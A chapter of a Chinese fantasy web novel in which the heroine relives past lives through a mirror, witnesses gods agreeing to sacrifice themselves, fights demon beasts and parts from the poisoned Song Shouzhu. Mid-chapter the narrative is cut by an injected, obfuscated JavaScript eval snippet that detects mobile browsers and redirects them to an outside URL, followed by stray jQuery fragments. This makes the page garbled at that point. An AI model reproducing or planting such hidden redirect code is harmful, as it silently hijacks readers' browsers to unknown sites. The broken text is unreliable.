黑暗。
无尽的黑暗。
她不是一个人,她有许许多多的同族。
身体似乎浸在液体里,很热,在飘荡。
漫无目的地飘荡。
不知过了多久,热度骤然降了下来,全身充斥着强烈的不适。
有什么在流逝,快要死掉了。
身体开始随着液体剧烈飘荡,靠近了原来的那股热度,身体好受了很多。
又不知过了多久,飘荡停止了,身体被禁锢在了一个很狭小的地方,再不能漫无目的地飘荡。
某一日,她好像吞噬了什么,或者是融合了什么,身体变得不一样了。
但是她说不上来。
时光是在流逝的,周遭变得复杂热闹起来。虽然看不见、听不到,但就是能感受到周遭多了许多其他生物。
突然,眼睛睁开,看见了蓝天白云,日月星辰。
飞过一条河流,叶循看到了自己的倒影,是一只蝗虫。
一条鱼跃出水面,她险险避过,眼前金光一闪,场景变换。
*
白云从身旁掠过,冰凉的风拂过轻盈的身体,将身体托得更高。山峦与河流在身下铺展成一副秀丽画卷。
她从寒冷之地飞到温暖之地,干冷的北风转为温暖的东风时,她又飞回了原本更寒冷的那里。
大地上只有绿草青山,从未见过房屋耕田。
春去秋来,某一日,她从树枝上落下,绿叶与树枝不断远离,金光闪过,她闭上了眼。
*
再次睁眼,仍是一片茂密的山林里。
她在撒腿狂奔,有什么从身后簌簌而来.
她几个纵身变换方向,甩开那些东西。
脚下突然一空,她跌入一个土坑。腿应当摔伤了,她动不了了。
地面上出现几个身影,是矮小健硕的男人,头发披散,胡须杂乱,身上围着兽皮,手中拿着削尖的木棍。
是原始人类。
他们叽里咕噜说着什么,举起手臂,准备将手中长棍掷向她,场景再度变化。
*
一个中年男子朝她展开摊开双手,她停在了他的手上,他从她脚上取下一件东西后便将她塞进了笼子里。
笼子里是一群鸽子,她挨着它们站着,看着那名中年男子展开一条白娟,表情越来越喜悦,最后癫狂大笑,“成了,成了,此事成了!从今往后,这天下便是杜某人的天下了!”
后来,她又飞去了许多地方,见到迁徙的百姓,见到行进的军队,见到火石弥漫的战场,见到哀鸿遍野,见到血流漂杵。
*
面前是一片陌生的山林,怪石嶙峋,黑雾缭绕。
一个青衣身影手持冰剑站在黑雾之中。
她小心蛰伏,趁他不备伺机扑过去,近了才看清,那人正是孟君。他一脚踹到她头上,踢得她摔出很远。
危险的气息铺压而来,她感受到了威胁性命的危险。
心跳骤然加速,血液在血管中沸腾,一股巨大的力量从身体里迸发。
血肉撕扯剧痛,有什么从身体里挤出,视野一下子变得更加广阔,几乎可以看见身体周遭三百六十度。
空气更加充沛,大脑更加明晰,一切都似乎变成了另一幅模样。
九柄冰剑朝她飞来,她用头撞开,朝孟君攻去。
地上生出冰凌,刺向她,她用爪子抓碎,继续扑向孟君。
冰凌变成水珠,汇作一团,将她困在其中。
她怎么也挣不脱,快要窒息时,体内有什么剧烈波动,发出强烈的力量。
下一瞬,冰剑刺破水团,扎进了她的胸口,她发出一声凄厉的长嚎。
这是宋守竹的过往。
*
她感受到强烈的悲怆,身体在震颤,这一刻她感受到了她千千万万的同族。它们在燃烧生命,它们在奋力地溶解什么,蚕食什么。
轰隆隆的响声震彻天际,黑烟与火光冲天,火石飞射,大地开始震颤,人兽四散奔逃,天地逐渐变成了一片炼狱。
她感受到了一股喜悦,由衷的喜悦。
温度上升,她和她的同族又感受到了最初浸在温热液体中的那种舒适。
*
面前是一片雪白的地面,衣袂飘渺的诸神站在一起,神情悲悯、冷肃。
身侧是拿着木杖的魁梧男人,叶循抬头,他的脸上看不出喜怒。
“地柱碎裂,地面被蚕食毁坏,岩浆喷薄上涌,下的雨都化作了热烫的雾,还有何办法救世?”一名满脸胡须的中年男子道。
“我们至今不知这灾难因何而起,所做一切都只是权宜之计,无法解决根本。”一个浑身通红,看起来要燃起来的男子道。
诸神皆看向黑衣男子,那个叶循认得,是天帝。
天帝道:“我会用窥光之术,找寻事情的本因。”
“天帝三思!”雷神道,“窥光之术损耗极大,若是天帝再有个三长两短,我等还如何救世?”
天帝:“我意已决,你等准备起阵修复地柱,等待我的消息。”
*
仍是那片雪白的地面,黑衣男子已成了个耄耋老者,虚弱地坐在前方木椅之上。
“天帝,可是已知灾难之因?”一名白衣神女问道。
天帝:“我已窥见千万种可能,只有一种可保此世续存,然这种可能需我等尽陨,尔等可愿?”
“竟如此严重,我等如今不可消除灾难之因么?”叶循身旁的宗布问道。
天帝:“我们能除尽世上尘埃么?”
“为何要除尽尘埃?尘埃岂能造成这样大的灾难?”浑身火红的男子道。
天帝不再言语。
诸神相互看看,雷神率先上前道:“我愿。”
孟君紧接着道:“我愿。”
宗布也上前道:“我愿。”
月神前进一步,柔柔道:“我愿。”
日神也跟着,“我愿。”
诸神一个接着一个,最后全都道:“我愿。”
叶循亦道:“我愿。”
宗布摸着她的头,问天帝:“我的神兽就不必了吧?”
天帝看向叶循,露出一个微笑,枯浊的双眼似乎穿透一切。
叶循简直觉得他穿透情景、穿透回光镜、甚至穿透她佩戴的数字设备,直直看向了现实中坐在躺椅上的她。
这是白虎的过往。
*
眼前一闪,她又回到了珊瑚群岛东梁皇宫的大殿。
皇帝坐在御座上手撑着额头。
“彤弓如何了?”她问。
叶循答:“试过刀砍、火烧、水泡、丢进岩浆中,放入化生阵中,都无法毁坏。”
“继续试。”皇帝淡道,又问,“宋守竹那边,可有消息传回来?”
叶循:“尚无。”
皇帝抬起头,“他走之前知晓自己服了毒药吧?”
服了毒?他从未跟她说过。
叶循:“知晓,臣已将何时毒发,不服解药会如何,都详尽地告诉了他。”
立在旁边的国师道:“他若是宁死不从呢?我们不能把希望全寄托在他身上。”
叶循:“灵兽岛散时,发现的神器帝台,或可用之起阵杀魔女。”
皇帝挥手,“去办罢。”
这是牧九良的过往。
*
瘴气弥漫,危险的气息追赶着她。她跳起,翻了个跟头,跟头翻到一半,身体倒着腾空时,头发变回了白色,眸子变回了灰色。
剩下半个跟斗翻完落地,一只豹妖和蟒蛇妖化了人形,手拿刀剑,齐齐向她砍刺来。
她闪到蟒蛇精身侧,一掌劈向蟒蛇精身上,竟被她的皮坎肩挡住了力量。
蟒蛇立即化了原形,蛇尾一卷,将她捆住了。
此时,豹子的刀也到了。
叶循仰面弯腰,刀几乎贴着她的鼻尖划过,割断了几缕她扬起的白发。同时,蟒蛇又卷了几圈,将她从肩到脚缠得严严实实,并且不断收紧。
她积聚力量,猛地一挣,那蟒蛇便炸开成四分五裂的小块。
她又一脚踢到豹子的脖子处。
咔嚓一声,豹子的脖子断了,向后倒下。
不远处平安娘正与两只刺猬精交手,渐渐落了下风。
叶循将手中刀掷了过去,刀一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366883|196244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿过两只刺猬精的身体,将他们钉在了高塔的墙上。
四颗妖丹浮起,汇聚过来进入了她的身体。
叶循拔下了钉在墙上的刀。
刀四尺长,近两掌宽,刀身幽黑,刀刃泛着红色血光。
她想起蟒蛇的剑,便飞身上屋顶回到女妖的尸块旁。一把七拐八拐的剑躺在一边。
她左手拿剑,右手拿刀,双手使劲,让剑和刀在空中相砍。
“噌”的一声,剑断了,刀还完好。她凑近去看,刀上甚至没发现一个豁口。
她将刀收了起来,又捡起蟒蛇的那条黑色皮坎肩套到自己身上,很合身。
这是她刚进入小说世界时,得到血刃的场景。
*
金光碎裂炸开,妖兽已至眼前。
叶循砍开妖兽,拉着宋守竹往外,才发现他面色苍白,脚步虚浮,似乎快要晕过去。
“你怎么了?”她想起方才说的中毒,心中涌起不祥之感。
宋守竹摆了摆手,没说话。
“白虎,带他走。”叶循道。
“是,吾主。”白虎上前,将宋守竹驼到背上。
叶循很快杀出一条路,二人一虎冲了出去。
外面也尽是妖兽,无尽的妖兽一直不要命地追扑,叶循也被逼得有些烦躁。
显然是那石像要对她赶尽杀绝,她去哪里,这些妖兽就会追去哪里。
砍退一波妖兽,躲到山下一处峡谷裂缝中。
叶循扶宋守竹坐到地上,“我让白虎送你回珊瑚群岛,或是归根城,你能想办法拿到解药的对么?”
他不知是太虚弱还是怎么了,没应她。
叶循捧住他的脸,让他看着她,“宋守竹,你还清醒么?”
他有一瞬的茫然,像在走神,很快聚焦到她脸上,“抱歉,阿循,你刚刚说什么?”
叶循:“我说让白虎送你回珊瑚群岛……”
“我如今是阿循的人,不在你身边,他们会杀了我。”他笑着截断她的话。
叶循:“谁说你是我的人……我不信你连这点自保的能力都没有。”
宋守竹不说话,闭上眼睛靠在她肩上,一副赖定她的模样。
叶循:“你现在是毒发了么?”
他低低“嗯”了声,像是要睡着了。
“宋守竹,你别睡!”叶循有些心慌,“你中的什么毒?致命么?你知道怎么解么?”
“别担心,阿循,”他望着她,眼神悠远一瞬又聚焦回来看着她,“我现在知道怎么解了。”
他的眼神有些让她看不懂,不过眼下不是追究这些的时候。
叶循:“怎么解?”
宋守竹:“他们带来的那个小孩儿,是用上百种蛊虫炼制的蛊童,他身上定带着王蛊威慑众蛊,让王蛊进入我体内,可解百毒。”
叶循:“可你不一定能驯服王蛊不是么?”
宋守竹:“我可以。”
叶循:“你确定么。”
“嗯。”
叶循不知他为何如此笃定,与他对视几瞬,道:“那我让白虎送你回归根城。”
他抓住她的手,眼中情绪万千,最终什么也没说,
叶循看向裂缝外,还没有妖兽的踪影。
她扶宋守竹骑到白虎背上,宋守竹仍拉着她不愿放,他看着地面道:“阿循,若是日后,我不在你身边……”
“你不是说能解毒?你在骗我?”叶循截断他的话,怒目而视。
“没有,我没骗你。”
“那就回去快些解毒,好生活着,等彻底甩开这些妖兽,我会去找你。”她道。
“好。”他笑着应她。
“你要是敢骗我,我会把你碎尸万段!”她又道。
“好。”他仍是笑着应。
叶循看了他会儿,倾身在他唇上印下一吻。
唇上的触感轻柔温软,让他猝不及防又贪恋。宋守竹眼睛蓦地睁大,刚想抬手扣住她,她已退开。
“等我。”她道,说罢便冲出裂缝,消失在瘴气中。
宋守竹望着她消失的方向出了会儿神,才摸了摸白虎的脑袋,“走吧,有劳。”